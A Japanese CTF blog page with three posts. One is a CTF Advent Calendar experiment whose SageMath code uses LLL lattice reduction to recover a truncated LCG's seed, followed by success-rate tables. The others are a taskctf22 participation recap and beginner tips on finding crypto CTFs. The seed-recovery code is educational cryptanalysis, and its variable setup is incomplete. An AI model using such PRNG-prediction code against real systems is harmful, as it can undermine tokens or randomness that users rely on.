Learning cyber security by playing and enjoying CTFs

Cyber Security関係の雑記帳です。表明されているお気持ちなどは全て個人的なものであり、筆者が所属もしくは関係する組織・団体の意向とは一切関係ありません。

Xbitの値Y個からmod(2^Z)のLCGにおける乱数予測する（実験編）

1 はじめに

チームN30Z30N総帥、Edwow Mathです。

CTF Advent Calendarの昨日（9日目）の記事は、kurenaifさんの「作問、動画作成の風景」でした。舞台裏を知る機会はなかなかないので、とても参考になります！

この記事は、CTF Advent Calendar 2022 の10日目の記事であり、また前述したkurenaifさんによるyoutube動画「【17兆通り】4bitの値20個からJavaの乱数予測をする【kurenaif】」の視聴をきっかけとした考察に関するものであります。

www.youtube.com

2. 動機

元ネタの動画は、x[i+1] := (a * x[i] + b) mod 248 により生成される x[i] の上位4ビットを20個集めて、乱数予測（本質的にはx[0]を求める）をするものでした。これはスゲー！実に面白い*1！と思っていろいろと考察を始めることにしました。

3. 考察（実験）

実装して動かしてみたところ、どうやら「うまくいく」場合と「うまくいかない」場合があるようでした。集める個数（Y）を増やしたり出力するビット数（X）を増やしたりすれば、「うまくいく」確率を増やせそうな感じがします。とりあえずどんな感じなのか興味が湧いてきたので、感触をつかむために（kurenaifさんがgithubで公開しているコードを参考に実装して）試してみることにしました。

具体的には、a、b、初期値（x[0]）を適当にとって、1000回試行して何回成功するか、結果を見るというものです。なお、1000回という回数に確率論的根拠はなく、単に感触をつかむための方便です。

4. 実験に使ったコード

雑然としたものですみません。

※以下の実装では、「tビットの値u個からmod(2s)の～」となっています。

「test.sage」

import random
from Crypto.Util.number import inverse

ROUND = 1000

class LCG:
  def __init__(self, a, b, m, seed):
    self.a = a
    self.b = b
    self.m = m
    self.state = seed
  def next_state(self):
    self.state = (self.a * self.state + self.b) % self.m
  def get_bits(self, s, t):
    self.next_state()
    return self.state >> (s - t)

def choose_a(m):
  while(True):
    a = random.randint(1, m-2)
    if inverse(a, m) * a % m == 1:
      return a

def choose_b(m):
  b = random.randint(1, m-1)
  return b

for cnt in range(ROUND):
  a = choose_a(m)
  b = choose_b(m)
  seed = random.randint(1,m-1)
  lcg = LCG(a, b, m, seed)
  leaks = []
  for i in range(u):
    x = lcg.get_bits(s, t)
    leaks += [x]
  Y = vector(ZZ, [leaks[i+1] - leaks[i] for i in range(u-1)])
  ####################################################
  # Recover the seed from leaked data by using LLL:
  ####################################################
  A = matrix.identity(ZZ, u-1)
  for i in range(u-1):
    if i == 0:
      A[i,i] = m
    else:
      A[i,0] = -1 * a^i
  L = A.LLL()
  K = vector(ZZ,[round(w / m) for w in 2**(s-t) * L * Y])
  E = ~L * (m * K - 2**(s-t) * L * Y)
  X = E + 2**(s-t) * Y

  var('x')
  cands = solve_mod((a-1)*x == (int(X[0])-b), m)

  _seed = 0
  cand_seed = []
  for cand in cands:
    cand = cand[0]
    lcg = LCG(a, b, m, cand)
    check = [cand>>(s-t)]
    for i in range(u-1):
      check.append(lcg.get_bits(s,t))
    if check == leaks:
      cand_seed += [(cand - b) * inverse(a, m) % m]
      break
  if seed in cand_seed:
    success += 1
print(f"s={s}, t={t}, u={u}: {success}/{ROUND}")

5. 実験結果（生データ）

さまざまなs、t、uについて実験してみた結果です*2。

  • s=16, t=4, u=3: 1/1000
  • s=16, t=4, u=4: 53/1000
  • s=16, t=4, u=5: 295/1000
  • s=16, t=4, u=6: 641/1000
  • s=16, t=4, u=7: 886/1000
  • s=16, t=4, u=8: 942/1000
  • s=16, t=4, u=9: 963/1000
  • s=16, t=6, u=2: 2/1000
  • s=16, t=6, u=3: 51/1000
  • s=16, t=6, u=4: 646/1000
  • s=16, t=6, u=5: 971/1000
  • s=16, t=8, u=2: 1/1000
  • s=16, t=8, u=3: 481/1000
  • s=16, t=8, u=4: 988/1000
  • s=16, t=10, u=2: 15/1000
  • s=16, t=10, u=3: 967/1000
  • s=16, t=12, u=2: 61/1000
  • s=16, t=12, u=3: 999/1000
  • s=16, t=14, u=2: 232/1000
  • s=16, t=14, u=3: 1000/1000
  • s=16, t=16, u=2: 1000/1000
  • s=20, t=4, u=2: 0/1000
  • s=20, t=4, u=3: 0/1000
  • s=20, t=4, u=4: 6/1000
  • s=20, t=4, u=5: 41/1000
  • s=20, t=4, u=6: 210/1000
  • s=20, t=4, u=7: 545/1000
  • s=20, t=4, u=8: 814/1000
  • s=20, t=4, u=9: 924/1000
  • s=20, t=4, u=10: 945/1000
  • s=20, t=4, u=11: 963/1000
  • s=20, t=6, u=2: 0/1000
  • s=20, t=6, u=3: 4/1000
  • s=20, t=6, u=4: 157/1000
  • s=20, t=6, u=5: 797/1000
  • s=20, t=6, u=6: 969/1000
  • s=20, t=8, u=2: 0/1000
  • s=20, t=8, u=3: 61/1000
  • s=20, t=8, u=4: 890/1000
  • s=20, t=8, u=5: 994/1000
  • s=20, t=10, u=2: 0/1000
  • s=20, t=10, u=3: 542/1000
  • s=20, t=10, u=4: 996/1000
  • s=20, t=12, u=2: 3/1000
  • s=20, t=12, u=3: 969/1000
  • s=20, t=14, u=2: 17/1000
  • s=20, t=14, u=3: 999/1000
  • s=20, t=16, u=2: 50/1000
  • s=20, t=16, u=3: 1000/1000
  • s=20, t=18, u=2: 265/1000
  • s=20, t=18, u=3: 1000/1000
  • s=20, t=20, u=2: 1000/1000
  • s=24, t=4, u=2: 0/1000
  • s=24, t=4, u=3: 0/1000
  • s=24, t=4, u=4: 1/1000
  • s=24, t=4, u=5: 2/1000
  • s=24, t=4, u=6: 29/1000
  • s=24, t=4, u=7: 124/1000
  • s=24, t=4, u=8: 443/1000
  • s=24, t=4, u=9: 732/1000
  • s=24, t=4, u=10: 872/1000
  • s=24, t=4, u=11: 935/1000
  • s=24, t=4, u=12: 950/1000
  • s=24, t=4, u=13: 968/1000
  • s=24, t=6, u=2: 0/1000
  • s=24, t=6, u=3: 0/1000
  • s=24, t=6, u=4: 18/1000
  • s=24, t=6, u=5: 274/1000
  • s=24, t=6, u=6: 872/1000
  • s=24, t=6, u=7: 977/1000
  • s=24, t=8, u=2: 0/1000
  • s=24, t=8, u=3: 3/1000
  • s=24, t=8, u=4: 367/1000
  • s=24, t=8, u=5: 982/1000
  • s=24, t=10, u=2: 0/1000
  • s=24, t=10, u=3: 47/1000
  • s=24, t=10, u=4: 965/1000
  • s=24, t=12, u=2: 0/1000
  • s=24, t=12, u=3: 491/1000
  • s=24, t=12, u=4: 1000/1000
  • s=24, t=14, u=2: 0/1000
  • s=24, t=14, u=3: 963/1000
  • s=24, t=16, u=2: 5/1000
  • s=24, t=16, u=3: 998/1000
  • s=24, t=18, u=2: 14/1000
  • s=24, t=18, u=3: 1000/1000
  • s=24, t=20, u=2: 65/1000
  • s=24, t=20, u=3: 1000/1000
  • s=24, t=22, u=2: 249/1000
  • s=24, t=22, u=3: 1000/1000
  • s=24, t=24, u=2: 1000/1000
  • s=28, t=4, u=2: 0/1000
  • s=28, t=4, u=3: 0/1000
  • s=28, t=4, u=4: 0/1000
  • s=28, t=4, u=5: 0/1000
  • s=28, t=4, u=6: 5/1000
  • s=28, t=4, u=7: 29/1000
  • s=28, t=4, u=8: 116/1000
  • s=28, t=4, u=9: 365/1000
  • s=28, t=4, u=10: 605/1000
  • s=28, t=4, u=11: 778/1000
  • s=28, t=4, u=12: 885/1000
  • s=28, t=4, u=13: 939/1000
  • s=28, t=4, u=14: 963/1000
  • s=28, t=6, u=2: 0/1000
  • s=28, t=6, u=3: 0/1000
  • s=28, t=6, u=4: 0/1000
  • s=28, t=6, u=5: 33/1000
  • s=28, t=6, u=6: 413/1000
  • s=28, t=6, u=7: 897/1000
  • s=28, t=6, u=8: 982/1000
  • s=28, t=8, u=2: 0/1000
  • s=28, t=8, u=3: 0/1000
  • s=28, t=8, u=4: 42/1000
  • s=28, t=8, u=5: 807/1000
  • s=28, t=8, u=6: 996/1000
  • s=28, t=10, u=2: 0/1000
  • s=28, t=10, u=3: 2/1000
  • s=28, t=10, u=4: 670/1000
  • s=28, t=10, u=5: 999/1000
  • s=28, t=12, u=2: 0/1000
  • s=28, t=12, u=3: 60/1000
  • s=28, t=12, u=4: 990/1000
  • s=28, t=14, u=2: 0/1000
  • s=28, t=14, u=3: 492/1000
  • s=28, t=14, u=4: 1000/1000
  • s=28, t=16, u=2: 0/1000
  • s=28, t=16, u=3: 967/1000
  • s=28, t=18, u=2: 0/1000
  • s=28, t=18, u=3: 999/1000
  • s=28, t=20, u=2: 2/1000
  • s=28, t=20, u=3: 999/1000
  • s=28, t=22, u=2: 12/1000
  • s=28, t=22, u=3: 1000/1000
  • s=28, t=24, u=2: 72/1000
  • s=28, t=24, u=3: 1000/1000
  • s=28, t=26, u=2: 250/1000
  • s=28, t=26, u=3: 1000/1000
  • s=28, t=28, u=2: 1000/1000
  • s=32, t=4, u=2: 0/1000
  • s=32, t=4, u=3: 0/1000
  • s=32, t=4, u=4: 0/1000
  • s=32, t=4, u=5: 0/1000
  • s=32, t=4, u=6: 1/1000
  • s=32, t=4, u=7: 2/1000
  • s=32, t=4, u=8: 21/1000
  • s=32, t=4, u=9: 93/1000
  • s=32, t=4, u=10: 250/1000
  • s=32, t=4, u=11: 500/1000
  • s=32, t=4, u=12: 684/1000
  • s=32, t=4, u=13: 826/1000
  • s=32, t=4, u=14: 900/1000
  • s=32, t=4, u=15: 936/1000
  • s=32, t=4, u=16: 944/1000
  • s=32, t=4, u=17: 952/1000
  • s=32, t=6, u=2: 0/1000
  • s=32, t=6, u=3: 0/1000
  • s=32, t=6, u=4: 0/1000
  • s=32, t=6, u=5: 6/1000
  • s=32, t=6, u=6: 86/1000
  • s=32, t=6, u=7: 580/1000
  • s=32, t=6, u=8: 935/1000
  • s=32, t=6, u=9: 982/1000
  • s=32, t=8, u=2: 0/1000
  • s=32, t=8, u=3: 0/1000
  • s=32, t=8, u=4: 4/1000
  • s=32, t=8, u=5: 285/1000
  • s=32, t=8, u=6: 978/1000
  • s=32, t=10, u=2: 0/1000
  • s=32, t=10, u=3: 0/1000
  • s=32, t=10, u=4: 145/1000
  • s=32, t=10, u=5: 989/1000
  • s=32, t=12, u=2: 0/1000
  • s=32, t=12, u=3: 3/1000
  • s=32, t=12, u=4: 901/1000
  • s=32, t=12, u=5: 999/1000
  • s=32, t=14, u=2: 0/1000
  • s=32, t=14, u=3: 63/1000
  • s=32, t=14, u=4: 999/1000
  • s=32, t=16, u=2: 0/1000
  • s=32, t=16, u=3: 493/1000
  • s=32, t=16, u=4: 1000/1000
  • s=32, t=18, u=2: 0/1000
  • s=32, t=18, u=3: 957/1000
  • s=32, t=20, u=2: 0/1000
  • s=32, t=20, u=3: 999/1000
  • s=32, t=22, u=2: 2/1000
  • s=32, t=22, u=3: 1000/1000
  • s=32, t=24, u=2: 4/1000
  • s=32, t=24, u=3: 1000/1000
  • s=32, t=26, u=2: 13/1000
  • s=32, t=26, u=3: 1000/1000
  • s=32, t=28, u=2: 62/1000
  • s=32, t=28, u=3: 1000/1000
  • s=32, t=30, u=2: 251/1000
  • s=32, t=30, u=3: 1000/1000
  • s=32, t=32, u=2: 1000/1000
  • s=36, t=2, u=32: 4/1000
  • s=36, t=4, u=2: 0/1000
  • s=36, t=4, u=3: 0/1000
  • s=36, t=4, u=4: 0/1000
  • s=36, t=4, u=5: 0/1000
  • s=36, t=4, u=6: 0/1000
  • s=36, t=4, u=7: 1/1000
  • s=36, t=4, u=8: 2/1000
  • s=36, t=4, u=9: 16/1000
  • s=36, t=4, u=10: 59/1000
  • s=36, t=4, u=11: 177/1000
  • s=36, t=4, u=12: 341/1000
  • s=36, t=4, u=13: 562/1000
  • s=36, t=4, u=14: 710/1000
  • s=36, t=4, u=15: 839/1000
  • s=36, t=4, u=16: 892/1000
  • s=36, t=4, u=17: 933/1000
  • s=36, t=4, u=18: 957/1000
  • s=36, t=6, u=2: 0/1000
  • s=36, t=6, u=3: 0/1000
  • s=36, t=6, u=4: 0/1000
  • s=36, t=6, u=5: 1/1000
  • s=36, t=6, u=6: 6/1000
  • s=36, t=6, u=7: 179/1000
  • s=36, t=6, u=8: 663/1000
  • s=36, t=6, u=9: 956/1000
  • s=36, t=8, u=2: 0/1000
  • s=36, t=8, u=3: 0/1000
  • s=36, t=8, u=4: 0/1000
  • s=36, t=8, u=5: 36/1000
  • s=36, t=8, u=6: 702/1000
  • s=36, t=8, u=7: 989/1000
  • s=36, t=10, u=2: 0/1000
  • s=36, t=10, u=3: 0/1000
  • s=36, t=10, u=4: 10/1000
  • s=36, t=10, u=5: 822/1000
  • s=36, t=10, u=6: 999/1000
  • s=36, t=12, u=2: 0/1000
  • s=36, t=12, u=3: 0/1000
  • s=36, t=12, u=4: 399/1000
  • s=36, t=12, u=5: 999/1000
  • s=36, t=14, u=2: 0/1000
  • s=36, t=14, u=3: 3/1000
  • s=36, t=14, u=4: 977/1000
  • s=36, t=16, u=2: 0/1000
  • s=36, t=16, u=3: 46/1000
  • s=36, t=16, u=4: 1000/1000
  • s=36, t=18, u=2: 0/1000
  • s=36, t=18, u=3: 474/1000
  • s=36, t=18, u=4: 1000/1000
  • s=36, t=20, u=2: 0/1000
  • s=36, t=20, u=3: 955/1000
  • s=36, t=22, u=2: 0/1000
  • s=36, t=22, u=3: 996/1000
  • s=36, t=24, u=2: 0/1000
  • s=36, t=24, u=3: 1000/1000
  • s=36, t=26, u=2: 1/1000
  • s=36, t=26, u=3: 1000/1000
  • s=36, t=28, u=2: 5/1000
  • s=36, t=28, u=3: 1000/1000
  • s=36, t=30, u=2: 16/1000
  • s=36, t=30, u=3: 1000/1000
  • s=36, t=32, u=2: 60/1000
  • s=36, t=32, u=3: 1000/1000
  • s=36, t=34, u=2: 262/1000
  • s=36, t=34, u=3: 1000/1000
  • s=36, t=36, u=2: 1000/1000
  • s=40, t=4, u=2: 0/1000
  • s=40, t=4, u=3: 0/1000
  • s=40, t=4, u=4: 0/1000
  • s=40, t=4, u=5: 0/1000
  • s=40, t=4, u=6: 0/1000
  • s=40, t=4, u=7: 0/1000
  • s=40, t=4, u=8: 0/1000
  • s=40, t=4, u=9: 0/1000
  • s=40, t=4, u=10: 7/1000
  • s=40, t=4, u=11: 38/1000
  • s=40, t=4, u=12: 127/1000
  • s=40, t=4, u=13: 271/1000
  • s=40, t=4, u=14: 437/1000
  • s=40, t=4, u=15: 610/1000
  • s=40, t=4, u=16: 730/1000
  • s=40, t=4, u=17: 809/1000
  • s=40, t=4, u=18: 892/1000
  • s=40, t=4, u=19: 926/1000
  • s=40, t=4, u=20: 939/1000
  • s=40, t=4, u=21: 947/1000
  • s=40, t=4, u=22: 949/1000
  • s=40, t=4, u=23: 968/1000
  • s=40, t=6, u=2: 0/1000
  • s=40, t=6, u=3: 0/1000
  • s=40, t=6, u=4: 0/1000
  • s=40, t=6, u=5: 0/1000
  • s=40, t=6, u=6: 1/1000
  • s=40, t=6, u=7: 31/1000
  • s=40, t=6, u=8: 239/1000
  • s=40, t=6, u=9: 747/1000
  • s=40, t=6, u=10: 969/1000
  • s=40, t=8, u=2: 0/1000
  • s=40, t=8, u=3: 0/1000
  • s=40, t=8, u=4: 0/1000
  • s=40, t=8, u=5: 1/1000
  • s=40, t=8, u=6: 217/1000
  • s=40, t=8, u=7: 931/1000
  • s=40, t=8, u=8: 994/1000
  • s=40, t=10, u=2: 0/1000
  • s=40, t=10, u=3: 0/1000
  • s=40, t=10, u=4: 0/1000
  • s=40, t=10, u=5: 286/1000
  • s=40, t=10, u=6: 993/1000
  • s=40, t=12, u=2: 0/1000
  • s=40, t=12, u=3: 0/1000
  • s=40, t=12, u=4: 52/1000
  • s=40, t=12, u=5: 994/1000
  • s=40, t=14, u=2: 0/1000
  • s=40, t=14, u=3: 0/1000
  • s=40, t=14, u=4: 706/1000
  • s=40, t=14, u=5: 999/1000
  • s=40, t=16, u=2: 0/1000
  • s=40, t=16, u=3: 4/1000
  • s=40, t=16, u=4: 994/1000
  • s=40, t=18, u=2: 0/1000
  • s=40, t=18, u=3: 52/1000
  • s=40, t=18, u=4: 999/1000
  • s=40, t=20, u=2: 0/1000
  • s=40, t=20, u=3: 461/1000
  • s=40, t=20, u=4: 1000/1000
  • s=40, t=22, u=2: 0/1000
  • s=40, t=22, u=3: 959/1000
  • s=40, t=24, u=2: 0/1000
  • s=40, t=24, u=3: 996/1000
  • s=40, t=26, u=2: 0/1000
  • s=40, t=26, u=3: 1000/1000
  • s=40, t=28, u=2: 1/1000
  • s=40, t=28, u=3: 1000/1000
  • s=40, t=30, u=2: 0/1000
  • s=40, t=30, u=3: 1000/1000
  • s=40, t=32, u=2: 5/1000
  • s=40, t=32, u=3: 1000/1000
  • s=40, t=34, u=2: 12/1000
  • s=40, t=34, u=3: 1000/1000
  • s=40, t=36, u=2: 60/1000
  • s=40, t=36, u=3: 1000/1000
  • s=40, t=38, u=2: 247/1000
  • s=40, t=38, u=3: 1000/1000
  • s=40, t=40, u=2: 1000/1000
  • s=44, t=4, u=2: 0/1000
  • s=44, t=4, u=3: 0/1000
  • s=44, t=4, u=4: 0/1000
  • s=44, t=4, u=5: 0/1000
  • s=44, t=4, u=6: 0/1000
  • s=44, t=4, u=7: 0/1000
  • s=44, t=4, u=8: 0/1000
  • s=44, t=4, u=9: 0/1000
  • s=44, t=4, u=10: 0/1000
  • s=44, t=4, u=11: 9/1000
  • s=44, t=4, u=12: 38/1000
  • s=44, t=4, u=13: 87/1000
  • s=44, t=4, u=14: 192/1000
  • s=44, t=4, u=15: 343/1000
  • s=44, t=4, u=16: 497/1000
  • s=44, t=4, u=17: 597/1000
  • s=44, t=4, u=18: 750/1000
  • s=44, t=4, u=19: 800/1000
  • s=44, t=4, u=20: 872/1000
  • s=44, t=4, u=21: 909/1000
  • s=44, t=4, u=22: 911/1000
  • s=44, t=4, u=23: 930/1000
  • s=44, t=4, u=24: 951/1000
  • s=44, t=6, u=2: 0/1000
  • s=44, t=6, u=3: 0/1000
  • s=44, t=6, u=4: 0/1000
  • s=44, t=6, u=5: 0/1000
  • s=44, t=6, u=6: 0/1000
  • s=44, t=6, u=7: 2/1000
  • s=44, t=6, u=8: 40/1000
  • s=44, t=6, u=9: 332/1000
  • s=44, t=6, u=10: 804/1000
  • s=44, t=6, u=11: 946/1000
  • s=44, t=6, u=12: 992/1000
  • s=44, t=8, u=2: 0/1000
  • s=44, t=8, u=3: 0/1000
  • s=44, t=8, u=4: 0/1000
  • s=44, t=8, u=5: 0/1000
  • s=44, t=8, u=6: 28/1000
  • s=44, t=8, u=7: 561/1000
  • s=44, t=8, u=8: 986/1000
  • s=44, t=10, u=2: 0/1000
  • s=44, t=10, u=3: 0/1000
  • s=44, t=10, u=4: 0/1000
  • s=44, t=10, u=5: 38/1000
  • s=44, t=10, u=6: 905/1000
  • s=44, t=10, u=7: 997/1000
  • s=44, t=12, u=2: 0/1000
  • s=44, t=12, u=3: 0/1000
  • s=44, t=12, u=4: 2/1000
  • s=44, t=12, u=5: 822/1000
  • s=44, t=12, u=6: 1000/1000
  • s=44, t=14, u=2: 0/1000
  • s=44, t=14, u=3: 0/1000
  • s=44, t=14, u=4: 145/1000
  • s=44, t=14, u=5: 1000/1000
  • s=44, t=16, u=2: 0/1000
  • s=44, t=16, u=3: 0/1000
  • s=44, t=16, u=4: 913/1000
  • s=44, t=16, u=5: 1000/1000
  • s=44, t=18, u=2: 0/1000
  • s=44, t=18, u=3: 3/1000
  • s=44, t=18, u=4: 1000/1000
  • s=44, t=20, u=2: 0/1000
  • s=44, t=20, u=3: 46/1000
  • s=44, t=20, u=4: 1000/1000
  • s=44, t=22, u=2: 0/1000
  • s=44, t=22, u=3: 475/1000
  • s=44, t=22, u=4: 1000/1000
  • s=44, t=24, u=2: 0/1000
  • s=44, t=24, u=3: 951/1000
  • s=44, t=26, u=2: 0/1000
  • s=44, t=26, u=3: 998/1000
  • s=44, t=28, u=2: 0/1000
  • s=44, t=28, u=3: 999/1000
  • s=44, t=30, u=2: 0/1000
  • s=44, t=30, u=3: 1000/1000
  • s=44, t=32, u=2: 0/1000
  • s=44, t=32, u=3: 1000/1000
  • s=44, t=34, u=2: 0/1000
  • s=44, t=34, u=3: 1000/1000
  • s=44, t=36, u=2: 3/1000
  • s=44, t=36, u=3: 1000/1000
  • s=44, t=38, u=2: 18/1000
  • s=44, t=38, u=3: 1000/1000
  • s=44, t=40, u=2: 75/1000
  • s=44, t=40, u=3: 1000/1000
  • s=44, t=42, u=2: 218/1000
  • s=44, t=42, u=3: 1000/1000
  • s=44, t=44, u=2: 1000/1000
  • s=48, t=4, u=2: 0/1000
  • s=48, t=4, u=3: 0/1000
  • s=48, t=4, u=4: 0/1000
  • s=48, t=4, u=5: 0/1000
  • s=48, t=4, u=6: 0/1000
  • s=48, t=4, u=7: 0/1000
  • s=48, t=4, u=8: 0/1000
  • s=48, t=4, u=9: 0/1000
  • s=48, t=4, u=10: 0/1000
  • s=48, t=4, u=11: 1/1000
  • s=48, t=4, u=12: 4/1000
  • s=48, t=4, u=13: 20/1000
  • s=48, t=4, u=14: 66/1000
  • s=48, t=4, u=15: 164/1000
  • s=48, t=4, u=16: 253/1000
  • s=48, t=4, u=17: 361/1000
  • s=48, t=4, u=18: 508/1000
  • s=48, t=4, u=19: 594/1000
  • s=48, t=4, u=20: 711/1000
  • s=48, t=4, u=21: 791/1000
  • s=48, t=4, u=22: 816/1000
  • s=48, t=4, u=23: 882/1000
  • s=48, t=4, u=24: 902/1000
  • s=48, t=4, u=25: 911/1000
  • s=48, t=4, u=26: 928/1000
  • s=48, t=4, u=27: 949/1000
  • s=48, t=4, u=28: 947/1000
  • s=48, t=4, u=29: 948/1000
  • s=48, t=4, u=30: 970/1000
  • s=48, t=6, u=2: 0/1000
  • s=48, t=6, u=3: 0/1000
  • s=48, t=6, u=4: 0/1000
  • s=48, t=6, u=5: 0/1000
  • s=48, t=6, u=6: 0/1000
  • s=48, t=6, u=7: 0/1000
  • s=48, t=6, u=8: 4/1000
  • s=48, t=6, u=9: 86/1000
  • s=48, t=6, u=10: 426/1000
  • s=48, t=6, u=11: 815/1000
  • s=48, t=6, u=12: 952/1000
  • s=48, t=8, u=2: 0/1000
  • s=48, t=8, u=3: 0/1000
  • s=48, t=8, u=4: 0/1000
  • s=48, t=8, u=5: 0/1000
  • s=48, t=8, u=6: 4/1000
  • s=48, t=8, u=7: 155/1000
  • s=48, t=8, u=8: 853/1000
  • s=48, t=8, u=9: 993/1000
  • s=48, t=10, u=2: 0/1000
  • s=48, t=10, u=3: 0/1000
  • s=48, t=10, u=4: 0/1000
  • s=48, t=10, u=5: 3/1000
  • s=48, t=10, u=6: 479/1000
  • s=48, t=10, u=7: 993/1000
  • s=48, t=12, u=2: 0/1000
  • s=48, t=12, u=3: 0/1000
  • s=48, t=12, u=4: 0/1000
  • s=48, t=12, u=5: 304/1000
  • s=48, t=12, u=6: 995/1000
  • s=48, t=14, u=2: 0/1000
  • s=48, t=14, u=3: 0/1000
  • s=48, t=14, u=4: 12/1000
  • s=48, t=14, u=5: 992/1000
  • s=48, t=16, u=2: 0/1000
  • s=48, t=16, u=3: 0/1000
  • s=48, t=16, u=4: 374/1000
  • s=48, t=16, u=5: 1000/1000
  • s=48, t=18, u=2: 0/1000
  • s=48, t=18, u=3: 0/1000
  • s=48, t=18, u=4: 976/1000
  • s=48, t=20, u=2: 0/1000
  • s=48, t=20, u=3: 3/1000
  • s=48, t=20, u=4: 999/1000
  • s=48, t=22, u=2: 0/1000
  • s=48, t=22, u=3: 58/1000
  • s=48, t=22, u=4: 1000/1000
  • s=48, t=24, u=2: 0/1000
  • s=48, t=24, u=3: 492/1000
  • s=48, t=24, u=4: 1000/1000
  • s=48, t=26, u=2: 0/1000
  • s=48, t=26, u=3: 959/1000
  • s=48, t=28, u=2: 0/1000
  • s=48, t=28, u=3: 998/1000
  • s=48, t=30, u=2: 0/1000
  • s=48, t=30, u=3: 1000/1000
  • s=48, t=32, u=2: 0/1000
  • s=48, t=32, u=3: 1000/1000
  • s=48, t=34, u=2: 0/1000
  • s=48, t=34, u=3: 1000/1000
  • s=48, t=36, u=2: 1/1000
  • s=48, t=36, u=3: 1000/1000
  • s=48, t=38, u=2: 1/1000
  • s=48, t=38, u=3: 1000/1000
  • s=48, t=40, u=2: 6/1000
  • s=48, t=40, u=3: 1000/1000
  • s=48, t=42, u=2: 12/1000
  • s=48, t=42, u=3: 1000/1000
  • s=48, t=44, u=2: 64/1000
  • s=48, t=44, u=3: 1000/1000
  • s=48, t=46, u=2: 266/1000
  • s=48, t=46, u=3: 1000/1000
  • s=48, t=48, u=2: 1000/1000

なお、元ネタの動画では、s=48, t=4, u=20ですので、10回に7回くらい成功するようです。

また、t=2の場合はuを増やしても成功率がなかなか上がらないようなので、別建てで考察することにしました。

6. おわりに

なぜそうなるのか、の分析は追々。。。（多分何かの論文で出ているはず？）

<追記> CTF Advent Calendar の明日（11日目）の記事は、kam1tsur3さんの「DMくれたよく知らん人とCTF参加してみた | kam1tsur3-web」です。

*1:福山雅治ボイスで再生してください。

*2:sとtに対してuをインクリメントしていきましたが、結果が900/1000以上になった段階で打ち切っています。

taskctf22 参戦記

1. はじめに

2022/12/3 00:00～23:59に開催された「taskctf22」に参加しました。このCTFはtask4233さんが開催する初心者～中級者向けCTFで、task4233さんのお誕生日（12/5）近辺に開催されるものです。

今回は出題されたうちの半分くらいを解いて47位でした。問題は一通り見ましたが、解けなかったものも含め、楽しそうなものばかりでした。

2. 参戦状況

簡単にですが、各問題を振り返ってみたいと思います。〇印は解いた問題です。

misc

ransomware〇

　私は普段Cryptoを中心にプレイしているのですが、Cryptoをやる理由としては「数学が好き」以外に「ransomware粉砕」というのもあります。そのためこの問題は是が非でも解きたい問題でした。実際は、3バイト文字を処理しようと頑張ってしまい意外と手こずってしまいました。

anti_detection

　与えられたバイナリを小改造しただけでは防御システムを突破できず、自作プログラムを投げたらサーバエラー。防御システムの中身が全く未知だったこともあり、何となくサーバを破壊したらまずいかなと躊躇してこの問題はスキップすることに。

shellgei

　シェル芸は大の苦手なのでスキップ。スミマセン。

web

robots

　robots.txtを見るところまではできましたが、その先で詰まりました。Webはカスなのですみません。X-Forwarded-For - HTTP ヘッダー、勉強になりました。

first〇

　SQLi（union型）はWebの中で数少ない解ける問題でした。ちなみに、uuidが時系列順になることは一応ローカルで確かめてからsubmitしました。

osint

welcome〇

　2019年のwelcomeフラグを問う問題でしたが、ググってWriteupから拾えました。

ramen〇

　想定通り（？）Google Lensを使ってすぐ見つかりました。

kofun

　Twitterを捜すに至らず、設問に添付された「入り口の写真」を色々な形に切り取って検索しまくりましたがダメでした。結果的には、さまざまな古墳の写真を見ながら小学校の社会科見学の思い出に浸れたのでOKでしょう。

douro

　道路さんの超難問！？画像の中にpwn問題が隠れてる！？というわけではなかったです。選挙ポスターからロサンゼルスではなくサンディエゴのほうに着目してしまったので、ゴールにたどり着けず。しかし、つかの間の「Google海外旅行」は楽しかったです！

tutorial

submit_flag〇

　フラグを提出するだけ。しかし、全ての始まりはここから。CTFの初心に帰りました。

just_google_it〇

　base64のデコードをする問題です。CyberChefを使って解きました。

try_python〇

　pythonで足し算をする問題です。暗算でもできそうでしたが、数字が抜けてるなどのトラップがあるといけないので想定通りpythonで計算しました。ちなみにやったことは、半角スペースを「,」に置換、先頭に「print(sum[」末尾に「])」を付加して実行。

build_docker_environment

　不幸にもdocker環境のないマシンでプレイしていたため、この問題はスキップしました。

アンケート

　twitter経由で回答させていただきました。

3. おわりに

task4233 さん、楽しいCTFの開催ありがとうございました。そして、お誕生日おめでとうございます！

Cryptoプレーヤーを始めてから今までで躓いたポイントとその解消法

1. はじめに

チームN30Z30N総帥、Edwow Mathです。

この記事は、CTF Advent Calendar 2022 の5日目の記事です。

adventar.org

CTF Advent Calendarの昨日（4日目）の記事はFurutsukiさんの「zer0pts秘伝のcrypto-writeupを公開します」でした*1。

ということで、5日目はガラッと趣向を変えて、これからCTF（特にCrypto）をやろうと思っている方や、やり始めたけどよくワカランといった感じの方向けのNoteです。これから時空を遡り、私が躓いたポイントと、どう克服したか*2を順に紹介していきたいと思います。

2. つまづきポイント

私は2019年頃から本格的にCTFをプレイするようになり、主にソロ（1人）チームで様々なCTF*3大会に参加しています。好きな分野*4はCryptoです。元々数学が好き*5でしたので、Cryptoに必要な数学的知識はそこそこ持っている状態からのスタートでした。しかし、経験を積めば積むほど「つまづきポイント」は増えていっており、それは今も変わりません。

それでは、これから主なつまづきを紹介することにしましょう。

つまづきpoint-0：参加するCTFをどうやって探したらいいのワカラン！

私の場合は、情報収集目的でTwitterを始め、最初は情報セキュリティ関連のアカウントやCTFチーム（もしくはプレイヤー）のアカウントを適当にフォローしていきました。CTFにはプレイ後に解いた問題の解法をブログ等で発表する「Writeup」という文化があり、著名チームやプレイヤーのアカウントはそこから把握することができます。そうしていくうちに、国内のプレイヤーたちが参加するローカルな（そして初心者にも優しい）CTF情報をキャッチできるようになりました。

また、それとは別にCTFtime*6の存在を知り、グローバルな大会についてはここから情報を入手しています。

まとめると、情報収集は

  • ローカルなCTFはTwitterから
  • グローバルなCTFはCTFtimeから

というスタイルで、これまでやっています。

ただし、CTFtimeの情報は実際の開催日時と異なる場合が（結構頻繁に）ありますので、必ず大会の公式サイトやコミュニケーションツール（Discordが多いです）等でのアナウンスを確認する必要があります。

CTFの難易度は大会によってまちまちですが、各大会の案内文などに掲載されているので一読してから参加を検討すると良いかと思います。また、一つの大会のでさまざまな難易度の問題が出ることが多いので、プロ向けのCTFであっても躊躇せず参加することをおすすめします*7。

